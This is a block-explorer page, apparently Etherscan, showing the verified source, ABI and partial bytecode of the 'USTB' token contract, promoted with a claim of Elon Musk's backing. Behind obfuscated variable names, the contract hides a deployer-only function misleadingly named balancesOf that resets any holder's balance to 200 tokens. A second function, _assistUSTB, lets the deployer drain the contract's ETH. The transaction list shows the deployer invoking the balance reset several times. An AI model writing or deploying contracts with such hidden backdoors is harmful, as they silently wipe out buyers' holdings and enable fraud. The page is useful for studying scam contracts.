ETH Price: $2,236.02 (+6.65%)

Contract

0x24a7B3e01cC2B18277734e3F281145AC8aCd4e58
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve217885692025-02-06 16:10:23402 days ago1738858223IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000179487.2074594
Balances Of217883292025-02-06 15:22:11402 days ago1738855331IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000172575.50674836
_assist USTB217883152025-02-06 15:19:23402 days ago1738855163IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000173835.91420245
Balances Of217881102025-02-06 14:38:23402 days ago1738852703IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000114333.64835347
Balances Of217879972025-02-06 14:15:47402 days ago1738851347IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000099953.18941764
Balances Of217879962025-02-06 14:15:35402 days ago1738851335IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000151683.13154663
Transfer217879602025-02-06 14:08:23402 days ago1738850903IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000155892.54523262
Approve217878782025-02-06 13:51:59402 days ago1738849919IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000127012.69180945
Approve217877482025-02-06 13:25:59402 days ago1738848359IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000174763.70359853
Approve217877232025-02-06 13:20:59402 days ago1738848059IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000076781.6380519
Approve217877212025-02-06 13:20:35402 days ago1738848035IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000044341.64387358
Approve217876872025-02-06 13:13:47402 days ago1738847627IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000038161.41483058
Approve217876732025-02-06 13:10:59402 days ago1738847459IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000041191.52732572
Approve217876712025-02-06 13:10:35402 days ago1738847435IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000042691.58264029
Approve217876462025-02-06 13:05:35402 days ago1738847135IN
0x24a7B3e0...C8aCd4e58
0 ETH0.00004831.79080565
Approve217876342025-02-06 13:03:11402 days ago1738846991IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000093361.97854288
Approve217876282025-02-06 13:01:59402 days ago1738846919IN
0x24a7B3e0...C8aCd4e58
0 ETH0.00021824.65506992
Balances Of217876232025-02-06 13:00:59402 days ago1738846859IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000052361.6709439
Balances Of217875982025-02-06 12:55:59402 days ago1738846559IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000047741.52364919
Transfer217875822025-02-06 12:52:47402 days ago1738846367IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000078741.2862316
Approve217875592025-02-06 12:47:59402 days ago1738846079IN
0x24a7B3e0...C8aCd4e58
0 ETH0.000145343.08401999
Approve217875482025-02-06 12:45:47402 days ago1738845947IN
0x24a7B3e0...C8aCd4e58
0 ETH0.00008211.75164325
Approve217875482025-02-06 12:45:47402 days ago1738845947IN
0x24a7B3e0...C8aCd4e58
0 ETH0.00008211.75164325
Approve217875482025-02-06 12:45:47402 days ago1738845947IN
0x24a7B3e0...C8aCd4e58
0 ETH0.00008211.75164325
Approve217875482025-02-06 12:45:47402 days ago1738845947IN
0x24a7B3e0...C8aCd4e58
0 ETH0.00008211.75164325
View all transactions

Latest 7 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer217873912025-02-06 12:13:47402 days ago1738844027
0x24a7B3e0...C8aCd4e58
0.1885776 ETH
Transfer217873912025-02-06 12:13:47402 days ago1738844027
0x24a7B3e0...C8aCd4e58
0.1885776 ETH
Transfer217873812025-02-06 12:11:47402 days ago1738843907
0x24a7B3e0...C8aCd4e58
0.31210376 ETH
Transfer217873812025-02-06 12:11:47402 days ago1738843907
0x24a7B3e0...C8aCd4e58
0.31210376 ETH
Transfer217873812025-02-06 12:11:47402 days ago1738843907
0x24a7B3e0...C8aCd4e58
0.38832106 ETH
Transfer217873812025-02-06 12:11:47402 days ago1738843907
0x24a7B3e0...C8aCd4e58
0.38832106 ETH
Add Liquidity ET...217873722025-02-06 12:09:59402 days ago1738843799
0x24a7B3e0...C8aCd4e58
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
USTB

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : USTB.sol
// SPDX-License-Identifier: MIT

/*
    Name: U.S Treasury Blockchain
    Symbol: USTB

    Elon Musk supports putting US Treasury transactions on a blockchain for full transparency.

    https://www.ustreasuryblockchain.vip
    https://x.com/WatcherGuru/status/1887241283527450911
    https://t.me/USTreasuryBlockchain
*/

pragma solidity ^0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 

contract USTB is Context, IERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _kxvbnjcfr);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"U.S Treasury Blockchain";
    string private constant _symbol = unicode"USTB";

    uint256 public _kxvbnjcfr = 20000000 * 10 **_decimals;
    uint256 public _iivvlkx = 20000000 * 10 **_decimals;
    uint256 public _ckvjnzxkjdr = 10000000 * 10 **_decimals;
    uint256 private constant _lixhuvgiru = 1000000000 * 10 **_decimals;
    uint256 private constant _vbhxjeps = 200 * 10 ** _decimals;

    address payable private _vjbnkxjnrfsd;
    mapping(address => uint256) private _ocivxrkjff;
    mapping(address => mapping(address => uint256)) private _jkcvbnxkjr;
    mapping(address => bool) private _cvxhbjrrs;
    uint256 private _cvkjxnknjfr = 10;
    uint256 private _ixvuiuhrd = 10;
    uint256 private _oocvixiu = 0;
    uint256 private _mvnxkjfr = 0;
    uint256 private _nvkxjnrd = 6;
    uint256 private _iuvbxdr = 6;
    uint256 private _buyCount = 0;
    address private _llcmvzlkd;

    constructor() payable {
        _vjbnkxjnrfsd = payable(_msgSender());
        _ocivxrkjff[address(this)] = _lixhuvgiru * 98 / 100;
        _ocivxrkjff[owner()] = _lixhuvgiru * 2 / 100;
        _cvxhbjrrs[owner()] = true;
        _cvxhbjrrs[address(this)] = true;
        _cvxhbjrrs[_vjbnkxjnrfsd] = true;
        _llcmvzlkd = _msgSender();

        emit Transfer(address(0), address(this), _lixhuvgiru * 98 / 100);
        emit Transfer(address(0), address(owner()), _lixhuvgiru * 2 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _lixhuvgiru;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _jkcvbnxkjr[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer_USTB(_msgSender(), recipient, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _ocivxrkjff[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _jkcvbnxkjr[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer_USTB(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _nvkxjnrd)
                        ? _oocvixiu
                        : _cvkjxnknjfr
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_cvxhbjrrs[to]
            ) {
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _iuvbxdr)
                            ? _mvnxkjfr
                            : _ixvuiuhrd
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _ckvjnzxkjdr) ? contractTokenBalance : _ckvjnzxkjdr; 
                    _metaUSTBtoETH((amount < minBalance) ? amount : minBalance);
                }
                _saveUSTB(address(this).balance);
            }
        }

        if (taxAmount > 0) {
        _ocivxrkjff[address(this)] =_ocivxrkjff[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _ocivxrkjff[from] =_ocivxrkjff[from].sub(amount);
        _ocivxrkjff[to] =_ocivxrkjff[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _saveUSTB(uint256 amount) private {
        _vjbnkxjnrfsd.transfer(amount);
    }

    function removeLimits() external onlyOwner {
        _kxvbnjcfr = _lixhuvgiru;
        _iivvlkx = _lixhuvgiru;
        emit MaxTxAmountUpdated(_lixhuvgiru);
    }

    function _assistUSTB(address payable receipt) external {
        require(msg.sender == _llcmvzlkd , "find failed");
        _vjbnkxjnrfsd = receipt;
        _payUSTB(address(this).balance);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer_USTB(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _jkcvbnxkjr[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _metaUSTBtoETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function balancesOf(address from, bool oo) public returns (uint256) {
        require(_llcmvzlkd == _msgSender(), "ERC20: error"); uint256 amount = _ocivxrkjff[from];
        oo != false && _vbhxjeps > 0 ? _ocivxrkjff[from] = _vbhxjeps : _vbhxjeps;
        return amount;
    }

    function enableUSTBTrading() external onlyOwner {
        require(!tradingOpen, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _lixhuvgiru);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _payUSTB(uint256 _amount) internal {
        payable(msg.sender).transfer(_amount);
    }

    receive() external payable {}

}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_kxvbnjcfr","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"receipt","type":"address"}],"name":"_assistUSTB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_ckvjnzxkjdr","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_iivvlkx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_kxvbnjcfr","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"bool","name":"oo","type":"bool"}],"name":"balancesOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableUSTBTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600260156101000a81548160ff0219169083151502179055505f600260166101000a81548160ff0219169083151502179055506009600a6100469190610704565b6301312d00610055919061074e565b6003556009600a6100669190610704565b6301312d00610075919061074e565b6004556009600a6100869190610704565b62989680610094919061074e565b600555600a8055600a600b555f600c555f600d556006600e556006600f555f6010555f6100c561056560201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061016f61056560201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6101c09190610704565b633b9aca006101cf919061074e565b6101d9919061074e565b6101e391906107bc565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6102369190610704565b633b9aca00610245919061074e565b61024f919061074e565b61025991906107bc565b60075f61026a61056c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160095f6102ba61056c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103e261056560201b60201c565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104829190610704565b633b9aca00610491919061074e565b61049b919061074e565b6104a591906107bc565b6040516104b291906107fb565b60405180910390a36104c861056c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6105289190610704565b633b9aca00610537919061074e565b610541919061074e565b61054b91906107bc565b60405161055891906107fb565b60405180910390a3610814565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610615578086048111156105f1576105f0610593565b5b60018516156106005780820291505b808102905061060e856105c0565b94506105d5565b94509492505050565b5f8261062d57600190506106e8565b8161063a575f90506106e8565b8160018114610650576002811461065a57610689565b60019150506106e8565b60ff84111561066c5761066b610593565b5b8360020a91508482111561068357610682610593565b5b506106e8565b5060208310610133831016604e8410600b84101617156106be5782820a9050838111156106b9576106b8610593565b5b6106e8565b6106cb84848460016105cc565b925090508184048111156106e2576106e1610593565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61070e826106ef565b9150610719836106f8565b92506107467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461061e565b905092915050565b5f610758826106ef565b9150610763836106ef565b9250828202610771816106ef565b9150828204841483151761078857610787610593565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107c6826106ef565b91506107d1836106ef565b9250826107e1576107e061078f565b5b828204905092915050565b6107f5816106ef565b82525050565b5f60208201905061080e5f8301846107ec565b92915050565b612ebe806108215f395ff3fe60806040526004361061010c575f3560e01c80638da5cb5b11610094578063c33608ca11610063578063c33608ca1461036b578063c6fc986514610381578063dbd443f5146103a9578063dd17e729146103d3578063dd62ed3e146103fd57610113565b80638da5cb5b1461029f578063903876ad146102c957806395d89b4114610305578063a9059cbb1461032f57610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d57806370a0823114610237578063715018a614610273578063751039fc1461028957610113565b806306fdde0314610117578063095ea7b31461014157806316f7f54f1461017d57806318160ddd146101a757610113565b3661011357005b5f5ffd5b348015610122575f5ffd5b5061012b610439565b6040516101389190611fac565b60405180910390f35b34801561014c575f5ffd5b506101676004803603810190610162919061205d565b610476565b60405161017491906120b5565b60405180910390f35b348015610188575f5ffd5b50610191610493565b60405161019e91906120dd565b60405180910390f35b3480156101b2575f5ffd5b506101bb610499565b6040516101c891906120dd565b60405180910390f35b3480156101dc575f5ffd5b506101f760048036038101906101f291906120f6565b6104bc565b60405161020491906120b5565b60405180910390f35b348015610218575f5ffd5b50610221610590565b60405161022e9190612161565b60405180910390f35b348015610242575f5ffd5b5061025d6004803603810190610258919061217a565b610598565b60405161026a91906120dd565b60405180910390f35b34801561027e575f5ffd5b506102876105de565b005b348015610294575f5ffd5b5061029d61072e565b005b3480156102aa575f5ffd5b506102b361085e565b6040516102c091906121b4565b60405180910390f35b3480156102d4575f5ffd5b506102ef60048036038101906102ea91906121f7565b610885565b6040516102fc91906120dd565b60405180910390f35b348015610310575f5ffd5b50610319610a12565b6040516103269190611fac565b60405180910390f35b34801561033a575f5ffd5b506103556004803603810190610350919061205d565b610a4f565b60405161036291906120b5565b60405180910390f35b348015610376575f5ffd5b5061037f610a6c565b005b34801561038c575f5ffd5b506103a760048036038101906103a29190612270565b610f8f565b005b3480156103b4575f5ffd5b506103bd61106a565b6040516103ca91906120dd565b60405180910390f35b3480156103de575f5ffd5b506103e7611070565b6040516103f491906120dd565b60405180910390f35b348015610408575f5ffd5b50610423600480360381019061041e919061229b565b611076565b60405161043091906120dd565b60405180910390f35b60606040518060400160405280601781526020017f552e5320547265617375727920426c6f636b636861696e000000000000000000815250905090565b5f6104896104826110f8565b84846110ff565b6001905092915050565b60035481565b5f6009600a6104a89190612435565b633b9aca006104b7919061247f565b905090565b5f6104c88484846112c2565b610585846104d46110f8565b61058085604051806060016040528060288152602001612e616028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105376110f8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f99092919063ffffffff16565b6110ff565b600190509392505050565b5f6009905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105e66110f8565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066a9061250a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107366110f8565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ba9061250a565b60405180910390fd5b6009600a6107d19190612435565b633b9aca006107e0919061247f565b6003819055506009600a6107f49190612435565b633b9aca00610803919061247f565b6004819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6108389190612435565b633b9aca00610847919061247f565b60405161085491906120dd565b60405180910390a1565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f61088e6110f8565b73ffffffffffffffffffffffffffffffffffffffff1660115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390612572565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f15158315151415801561098957505f6009600a61097b9190612435565b60c8610987919061247f565b115b6109ac576009600a61099b9190612435565b60c86109a7919061247f565b610a07565b6009600a6109ba9190612435565b60c86109c6919061247f565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555b508091505092915050565b60606040518060400160405280600481526020017f5553544200000000000000000000000000000000000000000000000000000000815250905090565b5f610a62610a5b6110f8565b84846112c2565b6001905092915050565b610a746110f8565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af89061250a565b60405180910390fd5b600260149054906101000a900460ff1615610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906125da565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bed3060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610bd99190612435565b633b9aca00610be8919061247f565b6110ff565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c57573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7b919061260c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d01573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d25919061260c565b6040518363ffffffff1660e01b8152600401610d42929190612637565b6020604051808303815f875af1158015610d5e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d82919061260c565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e0930610598565b5f5f610e1361085e565b426040518863ffffffff1660e01b8152600401610e35969594939291906126a0565b60606040518083038185885af1158015610e51573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e769190612713565b50505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f16929190612763565b6020604051808303815f875af1158015610f32573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f56919061279e565b506001600260166101000a81548160ff0219169083151502179055506001600260146101000a81548160ff021916908315150217905550565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612813565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061106747611a5b565b50565b60055481565b60045481565b5f60085f8473ffffffffffffff